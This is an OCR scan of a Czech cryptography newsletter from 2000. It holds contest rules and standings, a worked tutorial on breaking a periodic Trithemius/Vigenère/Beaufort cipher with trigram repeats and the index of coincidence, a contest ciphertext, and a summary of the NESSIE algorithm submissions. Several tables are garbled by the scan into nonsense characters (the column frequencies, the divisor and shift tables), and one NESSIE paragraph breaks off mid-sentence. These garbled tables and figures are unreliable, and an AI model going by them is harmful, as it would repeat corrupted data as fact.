Dne 22.12.2000 vyjde specialni ¢islo, ve kterém budou uvedena feSeni tloh ze vSech
kol, vitézové posledniho kola, jméno celkového vitéze , uvetejnime také mensi statistiku k
celé soutézi a predstavime firmy PVT a.s. , AEC spol. s r.o. a Globe Internet s.r.o., které
vénovaly ceny do nasi soutéze.

Reseni uloh zasilejte pomoci komunikaéniho okna v oddilu - "SOUTEZ" na URL
adrese http://www.mujweb.cz/veda/gcucmp/ . Vase anonymita je zarucena. Uvedena budou
pouze celd jména jednotlivych vitéza (nebo bude-li si to dotyCny ptat, pak misto jména jeho
e-mail adresa, ptipadné pouze pseudonym).

2. Informace k cenam

Cenou v jednotlivych kolech je bezplatnd registrace vaseho vefejného klice u
certifikacni autority (1x u PVT , Ix u AEC). Jde o poskytnuti certifikatu s nejvyssim
bezpecnostnim stupném ochrany na dobu 6 mésicii (cena cca 300,- K¢).

Hlavni cenou vénovanou spole¢nosti Globe Internet, s.r.o., je registrace domény .CZ
nebo .SK (podle mista bydlisté zadatele) a provoz virtualniho serveru modelu LITE na dobu
jednoho roku.

Informace o serveru najdete na adrese
http://servery.cz/index.php3?include=descmodel.inc&c_id=4 .

Model: LITE server

- 100 MB na disku, 15 e-mailovych schranek

- neomezeny pienos dat, neomezeny piistup pres FTP nebo FrontPage Extensions
- profesionalni virtualni obchod GESTO - ZDARMA

- Globe Internet HELPDESK

- posta ptes WWW rozhrani WEBMAIL
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- neomezené nastaveni aliast, forward, automatickd odpovéd’, SMS notifikace dosl¢ posty,
doménovy koS

- automatické kédovani Cestiny

- vaSe stranky dle obsahu zdarma PC Globe Internet s.r.o. zanese do pfislusnych kategorii
popularnich ¢eskych a zahrani¢nich vyhledévaci Internetu

- provoz PHP, ASP, PERL a dalSich CGI scriptd.

- provoz databazovych aplikaci MySQL, SYBASE nebo jakychkoli jinych databazi
vyuzivajicich ODBC rozhrani

- WWW rozhrani pro administraci databaze MySQL

- zjednodusSeni adresy tak, Ze neni nutné psat "predponu" www .

3. Stav po IlIl.kole

Pseudonym | Lkolo II.kolo II1.kolo IV kolo CELKEM
datum /bodti |datum /bodi |datum/bodu | datum/bodu

Josef M. 12.9/10 23.11/10

Mirek S. 12.9/10 17.10/10 17.11/10

Petr T. 12.9/10 18.10/10

Bohumir S. 12.9/10 18.10/10 22.11/10

Martin K. 12.9/10

FrantiSek K. [12.9/10

Tomas V. 13.9/10 31.10/10 26.11/10

Jan J. 13.9/10 17.10/10 19.11/10

Josef D. 18.9/10

Honza K. 18.9/10

Vasek V. 2.10/10 22.11/10

Michal B. 4.10/10 18.10/10 20.11/10

Lada R. 4.10/10 24.10/10 24.11/10

Martin V. 18.10/10

Karel S. 24.10/10 29.11/10

Ivan L. 19.10/10 17.11/10

Frantisek P.  {29.11/10 23.11/10 18.11/10

Legenda : cena kola - certifikat u AEC
cena kola - certifikat u PVT

Vitézové I1l.kola :

Vasek V. vasekv(@hotmail.com
FrantiSek P. ok1df(@gsl.net

Metodiku k tloze ¢tvrtého kola a ulohu piipravil mij byvaly kolega RNDr. Petr
Tesat. Reseni této llohy musite zaslat do 19.12.2000 !

Prijemnou zabavu !
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B. CastIV. -

Substituce slozita periodické heslo, srovnana abeceda
RNDr. Petr Tesar (PVT a.s.)

1. Zasifrovani

se provadi sectenim hodnoty znaku oteviené¢ho textu (OT) se znakem hesla (H) modulo 26.
Vysledkem je znak $ifrového textu (ST). Heslo je posloupnost kratsi nez-li OT a pouZiva se
periodicky znova. Historicky se Sifrovani provadélo pomoci Ctvercové tabulky 26x26, kde
fadky byly oznaceny A az Z (pro znaky OT) , sloupce také A az Z pro znaky hesla. Na
piislugném priseéiku byl v tabulce znak ST. PouZivaly se tii riizné tabulky (podle autort) :
Tritheimova, Vigenerova a Beaufortova .

Symbolicky:

Tabulka TRITHEIM ST=0T +H mod 26, A=1,B=2, ............. , Z=0
Tabulka VIGENERE ST=0T +Hmod 26, A=0,B=1, .............. , Z=25
Tabulka BEAUFORT ST=0T -Hmod 26, A=1,B=2, ............. , 7=0
Priklad :

OT: VESELEVELTIKONOCE

HESLO: ROKR OKROKROZ KT ROKR

ST: NTDWAPNTWAZ ZFDNW

Pouzita tabulka TRITHEIM

2. OdSsifrovani 5
Odsifrovani je inverzni proces, tedy OT = ST - H pro TRITHEIM a VIGENERE a
OT =ST +H pro BEAUFORT (samoziejmé v§e modulo 26).

3. Charakter Sifrového textu

Vyskytuji se zpravidla vSechna pismena abecedy. Vyskyt pismen je rovnomérnéjsi nez u
OT, ale nerovnomérnéjsi vzhledem k ndhodnému textu.
IC (viz PRILOHA) ST se pohybuje (podle délky periodického hesla) cca mezi 0.041 - 0.049.
V ST se mohou projevit i deli opakovéni, ve sloupcich jednotlivych pismen hesla jde v
podstaté o jednoduchou zaménu podle srovnané abecedy navzajem posunuté.

LusStit 1ze tento systém i bez znalosti prisluSného jazyka!
Jediné co je potieba znat - jsou frekvence jednotlivych znaki ve zdroji otevienych zprav. Ze

vSech ptikladl v této soutézi je lusténi tohoto systému naprosto nejlehéi. Bézné PC (s
vhodnym softwarem) vylusti tento systém do jedné vtetiny !
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4. Vzorové luSténi

ZFFLN QATOO AVFTS GQKZN MUXXB FJVVZ FBEPO FQKTN ADTCB OFLEB
UQKZQ ATNKP HBGTV EQXNI GOTXB FFFLU UDDPP XZFAJ] MEXGF

PFODB WQKPT LLHFN MOBKE MTXGF ELNEF OOHDU UTHFU QABNJ BPSOF
VIJLEB HBCTP BSTGE AWRXJ YBMPN MUBVZ
(text v ¢estiné bez mezerniku)
Pocet znaki: 175

Vyhledani opakovéni trigramii (a delsich) v ST:

7
A

15 2
C

B

5 9
D E

TO FJ BOTC PO
VF EP TP DP BU

DT OF PP QX
TN UQ BWXG
JM GT  UUMT
BN FF LN
WR WQ FO

KE BH

NJ AW

PS

HB

CT

ST

MP

VZ
8 6 2 8
U V W X
XX FT QK XB
QK VZ RX BF
UD ZF NI
DD EQ BF
UT JL ZF
TH Z- GF
QA GF
BV Y

18 6 5
F G H

5 6 7 6
J K L M
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FL QK BG GOVV ZN NQ UX QA OA

LN TV FN
TS OT DU
IV FP FU
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QK EA
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BM FF
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QA
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IC Sifrového textu = 0.04683

ME TN EB EX
BP ZQ UU OB
LE PH LH TX
YB PT HF PN
EM NE UB

EB

MU AV
AD FQ
KP FL
IG TX
MO DB
EF BK
JB OH
MU HD

FV

9
P

8§ 1 3 12
Q RS T
AT XJ CQ 00
KZ OF SG
KT TG NA
KZ CB
AT NK
XN VE
KP XB
AB LL

XG

HF

PB

GE

Opakovani jsou vyznacena tucné a podtrzené€. Zaroven jsme ziskali i ¢etnosti jednotlivych

znakll (vyznacena Cisly nad pismeny).
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Zjisténi délky periodického hesla

Pfi ruénim lusténi vyuzivame opakovani trigramti a delSich. Vychazi se z toho, ze
vétSina  opakovani koresponduje s opakovanim v OT a vzdalenost téchto opakovani je
nasobkem délky periody. Na pocitaci zjistime délku hesla spoétenim primérného IC pfti
rozpisech na rizné délky periody. Pro spravnou délku bude primér IC v jednotlivych
sloupcich korespondovat s IC u OT. Naopak pro Spatné délky bude blizko IC Sifrového textu.

Opakovani pozice rozdil délitelé

1. 2. 2345 67 89 10 1112 13 14
FFL 2 77 75 S T T T
LEB 48 148 100 /[ -/ - - - -/ - - - -
NMU 20 170 50 [/ /- 1 1 - - -/ - - - -
QAT 6 55 49 - - - - - |/ - - - - - - -
QKZ 17 52 3% - - -/ -/ - - - - - - -
XBF 24 74 50 /- -1 - - - -/ - - - -
XGF 93 118 25 S T T S S
Pocet délitell 3216 12 00 300 00
Pocet délitelG*délitel 6 6 430 6140 0300 0 0 O
Délka opakovani*délitel 1818 1290 18 420 0900 0 0 O

Oznacime si maximalni hodnoty heuristik (pocet d¢litela, délka opakovani*d¢litel a
suma pocet déliteli*delitel). Nejpravdépodobnéjsi bude ta perioda, kterd bude mezi témi,
které maji maximalni hodnoty uvedenych heuristik. Z tabulky pro nas ptiklad je vidét, ze
nejpravdépodobné;jsi perioda hesla je 5. Konkuruje ji pouze jeji ndsobek, coz je pochopitelné.

Pfi pfesném vypoctu na pocitaci ziskdme nésledujici pramérné hodnoty IC pro
predpokladané délky hesla:

Délka hesla Prdmérné IC
0.04683
0.04507
0.04685
0.04172
0.05647
0.04860
0.04476
0.03772
0.04763
0.05253
0.04827
0.04560
0.04832
0.04462

PN ©ONOGTAWN =

Hodnota IC pro periodu 5 je nejblize hodnoté¢ IC zdroje otevienych zprav
(v daném ptipadé ¢esStina bez mezerniku = 0.0577).

V dal§im budeme piedpokladat délku periodického hesla d = 5. Provedeme rozpis ST na

délku 5.
123 4 5
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Cetnosti ve sloupcich

—

2 3 4 5

OCOoONOOOAPRWN-=-

©
Z<PWI<WOCOMZZrSTUZIXCTEMIPCOPNTNZO>ON
A“a L 2 wOoOcoNnNaNOOO0ONMNNMANOONR

CO=S0VWCcgPHA0rH40orOmMMNITOOWA0MOUOWcecD<c>
TZHAOrOW I XPTIXROXTOTIXOP X AXM<XXT—T
N<XS<CHO IO UOZErX«—IOmmMOUO®T>
PO O LA AW Ao WOONONCOO A2 NMORDN
oO_[;O_\o.p_\_\oo_\N_\I\)LOOO‘)ALA—\_\&O
Moooo,\,o-booo.nMl\)o,\,wooowl\)wl\)—\oé
MOOO_\OO_\—\o_\wl\)moOOCDAOOLI\JOOCDO

<'U><G)—|I'I'IO)>-,-,UrnG)X'n'UUO>-U|—><>_|XNITIO—I‘U<><N_|O'_
NZecmuowncccTTMZAO e CP_<gOom®ZONBZNOZ

Nyni budeme v kazdém sloupci zjistovat "posun" abeced. Pro ru¢ni lusténi si
vyrobime prouzek papiru, na ktery napiSeme abecedu dvakrat za sebou. Cervené si oznacime
5 nejcetnéjsich pismen ve zdroji otevienych textl (pro ¢estinu bez mezerniku to jsou pismena
E,A,0,IN). Modfe si oznaCime 5 nejméné ¢etnych pismen (pro ¢estinu bez mezerniku to jsou
pismena G,F,W.X,Q). Piilozime tuto $ablonu na piislusny sloupec frekvenci ST a spoéteme
rozdil Cetnosti mezi soutem na Cervenych pozicich proti souctu na modrych. Potom Sablonu
0 jedno pismeno posuneme a opé€t spocteme rozdil. Pti spravném posunu bude rozdil nejvétsi
a bude odpovidat statisticky ocekavanému.

V naSem pftipad¢ plati:
Pravdépodobnosti vyskytu cCervenych pismen ve zdroji OT jsou (pro Anglictinu bez

mezerniku)

E=0.1013 E =0.1260
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A =0.0899 T =0.0904

0 =0.0839 R = 0.0826
| =0.0692 | =0.0757
N = 0.0664 N = 0.0756
Celkem = 0.4107 Celkem = 0.4503
Pro modré plati
G =0.0048 X =0.0047
F =0.0033 K =0.0035
W = 0.0006 Q =0.0032
X =0.0004 J =0.0020
Q = 0.0000 Z=0.0010
Celkem = 0.0091 Celkem = 0.0144

Pro rozdil: Cervené - modré = 0.4107 - 0.0091 = 0.4016 (0.4359 pro
anglictinu)

Protoze v kazdém sloupci je piesné¢ 35 pismen, mél by pfi spravném posunu byt rozdil
35*0.4016 = 14.056
Pro nas ptiklad spocteme tuto tabulku:

Znak A v ST koresponduje v OT Sloupec
1 2 3 4 5

S pismenem: A 2 4 5 0 5
B -1 5 1 -5 -3
C 1 -7 1 -3 -8
D 5 3 9 0 1
E o -2 -5 1 -3
F 5 3 5 3 0
G -1 6 -1 4 1
H 2 2 15 4 -2

I 6 4 1 -3 -1
J 2 3 3 2 2
K 1 8 -3 -2 0
L 12 3 2 8 4

M -1 1 -5 -8 3
N 7 1 -3 -3 7
O 15 7 -2 2 1
P 2 2 -1 12 -2
Q 7 4 6 -1 -1
R 8 6 1 -8 -3
S o 1 -6 -7 -10
T 0O 3 3 -2 0
U 0O 3 5 6 6
\Y o 3 3 1 7
w 2 -8 -3 0 -8
X 0O 1 3 -3 -6
Y 1 4 2 8 0
Z 3 14 1 2 18

Tuén€ s podtrZzenim jsou oznaceny maximalni hodnoty, korespondujici se spravnymi
posuny. Primérna hodnota téchto maxim je 14.8 , coz velmi dobie souhlasi s teoretickou
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ocekavanou hodnotou 14.056. Ziskavame tak posun ve vSech sloupcich:

—

oT

N<LXs<CHOTOTUVOZZIr X" IOTMMmMOO W > 0x
@
<
C
O
<

Nyni jiz snadno ziskame OT:

NEMAM EZADN OUMIR UPROM ATEMA TICKY TALEN TPRIM OCARA CESTA
[PROP OSUZO VANIU SPECH UNAMA TEMAT ICKEO LYMPI ADEVE DEVSA
KPRES ZKOUM ANIZD ASEVE SKUTE CNOST ISOUT EZICI POZDE JISTA
VAJIO PRAVD OVYMI MATEM ATIKY

N 24

statistiky jako korelace, PHI a KAPPA testy atp. Vyhodou je naopak to, ze lustime i ptipady,
kdy bylo periodické heslo pouzito ménékrat.

Posledni co zbyva zjistit, je zda pouzité heslo ma sémanticky smysluplny vyznam pfi
pouziti tabulek VIGENERE, TRITHEIM nebo BEAUFORT (jak byva z diivodu
zapamatovani periodického hesla zvykem...).

Pismeno A v OT se Sifruje v jednotlivych sloupcich na

1 2345

MBT L B
V ptipadé pouziti VIGENERE je potom heslo: MBTLB.
V ptipadé¢ pouziti BEAUFORT je potom heslo: NYGOY.
V ptipadé pouziti TRITHEIM je potom heslo: LASKA.
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Spravné heslo je LASKA a byla pouZita tabulka TRITHEIM.

PRILOHA

Index coincidence (déle jen IC) je pravdépodobnost vyskytu dvojice stejnych pismen ve
dvou textech na stejnych pozicich. Tato statistika se v klasické kryptoanalyze hojn€ pouziva.
Hodnota IC pro riizné jazyky (v mezinarodni abeced¢, bez mezerniku):

Angli¢tina 0.0667
Francouzstina 0.0778
Némcina 0.0762
ItalStina 0.0738
Spanélstina 0.0775
Rustina 0.0529
Cestina 0.0577
Nahodny text 0.0385

Cetnosti pismen v angli¢ting ( podle S.Kullback: Statistical Methods In Cryptanalysis,
Aegean Park Press, 1976):

A =0.07189, B =0.01146, C = 0.03345, D = 0.04029, E = 0.12604, F = 0.02994
G =0.01795, H=0.03287,1 =0.07572, J = 0.00198, K =0.00353, L =0.03549
M =0.02534, N =0.07558, O = 0.07408, P = 0.02661, Q = 0.00318, R = 0.08256
S =0.05759, T =0.09042, U =0.02993,V =0.01340, W = 0.01401, X = 0.00469
Y =0.02099, Z=0.00101

Soutézni priklad 4.kolo soutéze:

ZZLES FMDCU LQMEW SGWLM XHZUY ZRJKU SGKBM GNBEU VPICT
VNGVW HPLOY VLBAM RIIZN UJVKH XADVV GBQWX OOTKM RSEMV
THMEU SNZMS FHPPB KTQKK IZVPU ABGVT CWXKE FZNLY YVINE
UTOGP MGCPM ESYBZ OAVHG QDYODITKBC SUGPH VDGVP QDVLB
NPFCP NYZQX QULBK GMIXI BVCHR FYYWD OPEGL EGVCA QWMUE
XBWXG KIIGH RTJIU WYYJB BSPPS VLTDO PLINL DYODI TKBCS
UGPHV DGVPQ DVIJYN PFVPN YZQXW EMGYO GEFCH CMOEI VLGQE
TWBWX GFANB RWECG KWLOK LRYGZ RHSKV EAVAB SVKLC XYWBA
JPARK ZRGEW MBRZE RAWIR AGTZZ SENRP

(Anglictina bez mezerniku)
Reseni této tilohy musite zaslat do 19.12.2000 !

Reseni ulohy zaslete pomoci komunikaéniho okna v oddilu - "SOUTEZ" na URL
adrese http://www.mujweb.cz/veda/gcucmp/ !

Crypto - World 2000 158


http://www.mujweb.cz/veda/gcucmp/

C.CRYPTONESSIE
Ing. Jaroslav Pinkava, CSc. (AEC spol. s r.o./ Norman Czech Republic)

Uvod

V prvni poloviné letosniho roku byl zahéjen projekt NESSIE: New European Schemes
for Signatures, Integrity, and Encryption. Cilem tohoto evropského projektu je piinést
rozséahlé portfolio tzv. kryptografickych primitivil, které projdou procesem vetejné evaluace.

Do konce zati 2000 bylo tfeba podat jednotlivé navrhy a v ndvaznosti na to ve dnech
13-14. listopadu 2000 se konala prvni pracovni konference (workshop) této iniciativy
(Leuven, Belgie).

Ukolem této stati je provést prehled podanych piispévkii spolu s jejich struénymi
charakteristikami.

Ptijaté nadvrhy
Pfehled navrhu lze nalézt na adrese:

https://www.cosic.esat.kuleuven.ac.be/nessie/workshop/submissions.html
spolu s odkazy na stranky, kde jsou umistény jednotlivé dokumenty.

64-bit blokové 3ifry

Al.: CS-Cipher

Navrh ptichdzi z CS Communication & Systémes (Francie) a na jeho vyvoji se podileli déle
Jacques Stern a Serge Vaudenay. Algoritmus vznikl v roce 1998. Druhy z autort piednesl k
danému algoritmu referaty na konferenci FSE (Fast Software Encryption) v letech 1998 a
1999 (specifikace algoritmu a bezpec¢nost algoritmu).

Algoritmus pracuje s délkou bloku 64 bitli a proménlivou délkou kli¢e 40-128 bitt. Sifrovani
probiha celkem v 8 iteracich a opira se o pouziti rychlé Fourierovy transformace. Sifra je
optimalizovana pro hardwarové implementace.

A2.: Hierocrypt-L1

S timto algoritmem pfichdzi znamé japonska firma Toshiba (algoritmus vyvijeli Kenji
Ohkuma, Fumihiko Sano a Hirofumi Muratani).

Algoritmus pracuje s klici v délce 128, 192 a 256 bit v celkem 6 iteracich. Je formovan tak,
aby bylo jednoduché provést jeho programovani v zévislosti na hodnotich bajtl, tj. je
vyuzitelny i pro 8-bitové pocitace.

A3.: IDEA

Znamy algoritmus, majitelem je firma Ascom (Svycarsko). Jeden &as byl zvazovan jako
evropska norma. Algoritmus vznikl v roce 1991.

Pracuje s 64-bitovym blokem textu a pouzivd 128 bitovy klic. Algoritmus pracuje v 8
iteracich.

A4.: Khazad

Algoritmus ptfedkladaji Paulo Sérgio L.M. Barreto a Vincent Rijmen ( jeden z autor
algoritmu Rijndael, vitéze AES).

Je to opét 64 bitova Sifra s délkou klice 128 bitl. Algoritmus pracuje v 8 iteracich. Je
navrzen tak, aby s jeho pomoci bylo lze dosdhnout vysokych rychlosti Sifrovani na Siroké
variabilité platforem. NevyZzaduje pfitom velké objemy paméti.
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AS.: MISTY1
Mitsubishi Electric Corporation je majitelem patentu pro tento algoritmus (autorem je znamy
japonsky kryptolog Mitsuru Matsui). Algoritmus byl poprvé opublikovan v Japonsku v roce
1996 (a prezentovan na FSE v roce 1997).
Algoritmus MISTY1 je 64 bitova Sifra pracujici s kli¢em v délce 128 bitli. Pocet iteraci je
volitelny, doporucovano je uziti 8 iteraci. Algoritmus Ize implementovat i v prostiedi s velmi
malym objemem paméti RAM (napt. 100 bajtit).

A6.: Nimbus

Algoritmus predklada Alexis Warner Machado (Brazilie). Je to novy algoritmus.

Schéma algoritmu pracuje v 8 iteracich. Je to 64 bitova Sifra s délkou klice 128 bitd.
Pouzivéa pouze tfi typy operaci: nasobeni (mod 2%%), souget modulo dva a bitovou negaci.

128-bit blokové Sifry

B1.: Anubis

Navrh predkladaji (stejné jako algoritmus Khazad) Paulo Sérgio L.M. Barreto a Vincent
Rijmen.

Je to 128 bitova Sifra s variabilni délkou pouzitého klice (pocet bitli - 32N, 4 < N < 10).
Pocet iteraci algoritmu je roven 8 + N, kde N je pocet 32 bitovych slov klice.

B2.: Camellia

Algoritmus piedkladd Mitsubishi Electric Corporation. Autory jsou Tetsuya Ichikawa,
Masayuki Kanda, Mitsuru Matsui, Shiho Moriai, Junko Nakajima, Toshio Tokita. Jedné se o
novy algoritmus.

Algoritmus pracuje s bloky textu v délce 128 bitli a s kli¢em v délce 128, 192 a 256 biti, tj.
odpovidd podminkdm pro AES. Je to Feistelova Sifra, ktera probihéd v 18 iteracich (128 bitovy
kli¢), resp. v 24 iteracich (192 bitovy a 256 bitovy kli¢).

B3.: Grand Cru

Navrh predklada znamy belgicky odbornik Johan Borst. Je to novy algoritmus, ktery svou
konstrukei se znacné opira o algoritmus Rijndael.

Algoritmus je koncipovan pro délku textu 128 bith a délku klice rovnéz 128 bith. Pracuje ve
ctytech tzv. vrstvach (layer). Svoji architekturou je algoritmus primarné uréen pro 8 bitové
aplikace.

B4.: Hierocrypt-3

Algoritmus predkladd Toshiba. Autory jsou panové Kenji Ohkuma, Fumihiko Sano,
Hirofumi Muratani, Masahiko Motoyama a Shinichi Kawamura.

Algoritmus pracujes blokem textu v délce 128 bitil a s klici v délce 128 (resp.192 a 256)
bitd v celkem 6 (resp. 7, 8) iteracich. Je formovan tak, aby bylo jednoduché provést jeho
programovani v zavislosti na hodnotéach bajti, tj. je vyuzitelny i pro 8-bitové pocitace — stejné
jako Hierocrypt L1.

BS.: Noekeon

Algoritmus pfedklada Joan Daemen spolu s pany Gilles Van Assche a Vincent Rijmen.

Tato blokova Sifra je urcena k zaSifrovani 128 bitovych blokii dat pomoci klice v délce 128
bitl. Pracuje v 16 iteracich. Opét je ur¢ena predevsim k implementacim na ¢ipovych kartach.
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B6.: Q

Autorem navrhu je pan Leslie 'Mack' McBride z firmy Mack One Software.

Blokova Sifra pracuje s bloky textu v délce 128 biti. Dle autora umoziuje libovolnou délku
»hesla®“. Fakticky pracuje s klicem v délce nejvySe 256 bitli. Pocet iteraci je 8 nebo 9. Design
algoritmu ma vychazet z lepsich vlastnosti algoritmti Rijndael a Serpent.

B7.: SC2000

Algoritmus piedklada japonskd firma Fujitsu. Jeho autory jsou Takeshi Shimoyama,
Hitoshi Yanami, Kazuhiro Yokoyama, Masahiko Takenaka, Kouichi Itoh, Jun Yajima ,
Naoya Torii a Hidema Tanaka. Jedn4 se o novy algoritmus.

Blokova Sifra SC2000 pracuje se 128 bity textu a Ize pouzivat klice v délce 128, 192 a 256
bith. Pocet iteraci je pro 128 bitovy kli¢ roven 14 iteracim tzv. I-funkce a 19 iteracim
zpracovavajicim data. Pti kli¢i v délce 192 a 256 biti jsou tato ¢isla rovna 16 a 22.

160-bit blokové sifry

Cl1.: SHACAL

Piedkladateli tohoto navrhu jsou Helena Handschuh a Daavid Naccache (Gemplus).

Navrh je zaloZzen na vyuziti hashovaci funkce SHA-1 v , Sifrovacim modu®. K tomu vyuziva
kompresni funkce algoritmu SHA-1. Kli¢ je v délce 512 bitd, pfitom lze pouZivat i kratsi
klice, které jsou prevadény na 512 bitovy kli¢ doplnénim o nuly na ptislusnd mista.
SHSACAL by vSak nemél pouzivat klice kratsi nez 128 bitd.

Blokové Sifry s proménnou délkou bloku

D1.: NUSH:

Tento prispévek pochazi z Ruska. Jeho autory jsou Anatolij Lebedév (firma LAN Crypto
Int.) a Alexej Volckov (,,RusCrypto Association). Nejedna se vlastn€ jen o jeden navrh, ale
soucasti je vice algoritmi z riznych kategorii : blokovéa $ifra, dva typy hashovacich funkci,
MAC, asymetrické Sifrovani, pseudondhodna funkce, samosynchronizujici proudova Sifra,
synchronni proudova Sifra a asymetricka Sifra pro digitalni podpis.

Blokova Sifra je rozpracovana ptitom pro tii délky bloka: 64, 128 a 256 bitl. Pocet iteraci
algoritmu je pritom adekvatné 9, 17 a 33. VSechny tfi verze mohou pfitom pracovat s klici
v délkach 128, 192 a 256 bitl. Proudové Sifry jsou odvozeny z blokového algoritmu.
Analogicky toto plati pro hashovaci funkce, MAC a pseudondhodnou funkci. Asymetrické
primitivy kombinuji zajimavym zplsobem problematiku diskrétniho logaritmu s vyuzitim
algoritmu blokové Sifry NUSH.

D2.: RCé6
Tento algoritmus je znam jiz ze své piihlasky v rdmci AES. Jeho autory jsou Ronald L.
Rivest, Matthew J. B. Robshaw, Raymond M. Sidney a Yiquin Lisa Yin (RSA Security Inc.).
RC6 m4 jako proménné parametry délku slova w (v bitech), poctu iteraci r a délku klice b (v
bajtech). Autofi Sifru pak oznacuji RC6-w/t/b. Podrobnéjsi popis algoritmu je jiz zndm
z AES.
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D3.: SAFER++:

Tento algoritmus pochazi ze znamé firmy Cylink. Jeho autofi jsou James L. Massey (jméno
velice znamé z kryptologickych konferenci), Gurgen H. Khachatrian a Melsik K. Kuregian.
Algoritmus ve své koncepci vychdzi z predchazejicich ¢lent rodiny algoritmit SAFER.
Algoritmus je navrzen v nasledujicich variantach (délka bloku, délka klice): (128,256),
(128,128), (64,128). Jeho vyuziti je jiz od osmibitovych procesort vyse. Pocet iteraci je 7 pfi
délce klice 128 bitt, resp. 10 pti délce klice 256 bit.

Synchronni proudové Sifry

El.: BMGL
Dany piispévek predklada Johan Hastad (Svédsko). Algoritmus se opira o teoretické
vysledky panti Blum, Micali, Goldreich a Levin. Zékladem je pfitom blokova §ifra Rijndael.
Konstrukce proudové Sifry je pfitom vytvafena tak, aby byla tzv. prokazateln¢ bezpecna. To
odpovida souc¢asnym trendiim kryptografie. Soucasti navrhu jsou i vysledky statistickych testi
(Diehard, Maurertiv univerzalni test).

E2.: Leviathan
Cisco Systems Inc. ptichazi s dalSim ndvrhem (autory algoritmu jsou panové David A.
McGrew a Scott R. Fluhrer.
Sifrovani spo¢iva v pfi¢itani jednotlivych bitd hesla k otevienému textu. Délka klice je 128
resp. 256 bitil. Vlastni heslo je vytvafeno na zaklad¢€ tzv. binarniho stromu.

E3.: LILI-128

Predkladatelem je australsky kryptolog E. Dawson, ktery je spoluautorem navrhu s pany L.
Simpson, J. Goli¢ a W. Millan.

Algoritmus se opirad o pouziti linedrnich registri se zpétnou vazbou. délka klice je 128 biti —
jak jiz napovidé nazev algoritmu.

E4.: SNOW

Autorem navrhu je Thomas Johansson, Lund University (Svédsko).

Sifra pracuje s 32-bitovymi slovy, opira se opét o pouziti linedrnich registrii se zpétnou
vazbou spolu v kombinaci s blokem FSM (Finite State Machine). Délka klice mtize byt 128
nebo 256 bitd.

ES5.: SOBER-t16

Piedkladatelem je pan Philip Hawkes (Qualcomm International — Australie). Je odvozen
z algoritmu SOBER (1998).

Dany algoritmus je synchronni proudova Sifra s délkou kli¢e maximalné 128 bitd. algoritmus
je orientovan na softwarové implementace (16-bitové). Ke konstrukci jsou rovnéz pouzity
linedrni registry se zp&tnou vazbou.

E6.: SOBER-t32

Varianta predeslého algoritmu umoziujici pouzivat klice az do délky 256 bitl a pracujici se
slovy v délce 32 bitt.
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Autentiza¢ni kody zprav (MAC)

F1.: Two-Track-MAC

Predkladatelem je Bart Van Rompay, autorem Bert den Boer — oba pracuji na univerzité
Leuven — Belgie.

V zékladu algoritmu je vyuziti hashovaci funkce RIPEMD-160. Algoritmus spocita 160
bitovou hodnotu MAC a pouziva 160 bitovy kli¢.

F2.: UMAC

Intel ptichdzi s timto algoritmem, autory jsou John Black, Shai Halevi, Hugo Krawczyk, Ted
Krovetz a Phillip Rogaway.

Algoritmus je MAC v duchu Wegman-Carterovy koncepce. Lze pouzit klice v délce 128 a
256 bith, vystupni délka je 32*N, 1 <N < 8.

Hashovaci funkce rezistentni viii kolizim a jednocestné hashovaci funkce

G1.: Whirlpool

Algoritmus piedkladaji Paulo Sérgio L.M. Barreto a Vincent Rijmen.

Hashovaci funkce ma 512-bitovy vystup. Je jednocestna a rezistentni vii¢i kolizim. Stejné
jako KHAZAD a ANUBIS se opira o pouziti koneénych téles GF(2%).
Poznamka: Pavodné jsem se (dle piehledu na webovskych strankdach NESSIE) domnival, ze
je to jedind hashovaci funkce obsazend v pfijatych ndvrzich. Ukdzalo se, Ze dal$i hashovaci
funkce jsou zahrnuty v rdmci popisu jinych kryptografickych primitivi.

Asymetricka Sifrovaci schémata

H1.: ACE Encrypt

Autorem navrhu je Victor Shoup zIBM Zurich Research Laboratory spolu s Ronaldem
Cramerem. Dany navrh je také soucasti materialti pracovni skupiny P1363 (Future Public Key
Cryptography Study Group).

Podstatou algoritmt jsou tzv. prokazatelné bezpecna schémata. Navrh je pojat velice
komplexné a dotazen az do podoby softwarové knihovny.
Poznamka: Nevyhodou koncepce je, ze nebyla zatim dotaZena i pro vyuziti algoritmi na bazi
eliptickych kiivek (napt. P1363 obsahuje eliptické algoritmy jako jednu ze tii zdkladnich
rodin systému s vefejnym klicem). Bezpecna délka klice RSA (a totéz plati pro diskrétni
délku klice algoritmu RSA pii vyméné 256 bitovych tajnych klich pro symetrickou Sifru.
Nékteré odhady hovofi o nezbytnosti pouzivat pro dosazeni adekvatni bezpecnosti kli¢ RSA
v délce cca 14 000 biti atd.

H2.: ECIES
Navrh podava Certicom a obsahuje znamé schemata ECIES a ECDSA z prace skupin SECG
a P1363.

H3.: EPOC

Néavrh podava Nippon Telegraph and Telephone Corporation (NTT). Autory jsou Eiichiro
Fujisaki, Tetsutaro Kobayashi, Hikaru Morita, Hiroaki Oguro, Tatsuaki Okamoto, Satomi
Okazaki, David Pointcheval a Shigenori Uchiyama .
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Jedna se vlastn¢ o tfi navrhy (EPOC-1, EPOC-2 a EPOC-3) pravdépodobnostnich systémd s
vetejnym klicem. Schémata se opiraji o koncepci prokazatelné bezpecnosti. Kryptograficka
odolnost schémat (totalni zkousky) je napt. pti délce kli¢e 1024 bitl srovnatelna s bezpecnosti
RSA pfi téZe délce klice.

H4.: PSEC

Navrh podava rovnéz Nippon Telegraph and Telephone Corporation (NTT). Autofi:
Eiichiro Fujisaki, Tetsutaro Kobayashi, Hikaru Morita, Hiroaki Oguro, Tatsuaki Okamoto,
Satomi Okazaki a David Pointcheval.

Konecné prokazatelné bezpecnd schémata na bazi eliptickych kiivek. Jinak se jednd o
elipticky analog predeslého ndvrhu (opét existuji tfi verze PSEC-1, Psec-2 a PSEC-3, atd.).
Koho toto zajimé, necht’ si prohlédne tabulku na strané¢ 18 ukazujici jednoznacné vyhody
eliptickych kryptosystémtl.

HS.: RSA-OAEP

Predkladatelem je ovSem RSA Security Inc. Autory OAEP jsou Mihir Bellare a Philip
Rogaway, autory RSA Ronald Rivest, Adi Shamir a Leonard Adleman.

Specifikace OAEP je znama z dokumentu PKCS 1 v.2.0.

Asymetricka schémata pro digitalni podpis

I1.: ACE Sign
viz ACE Encrypt.

12.: ECDSA
viz ECIES

13.: ESIGN

Predklada opét Nippon Telegraph and Telephone Corporation (NTT). Autofi: Eiichiro
Fujisaki, Tetsutaro Kobayashi, Hikaru Morita, Hiroaki Oguro, Tatsuaki Okamoto a Satomi
Okazaki.

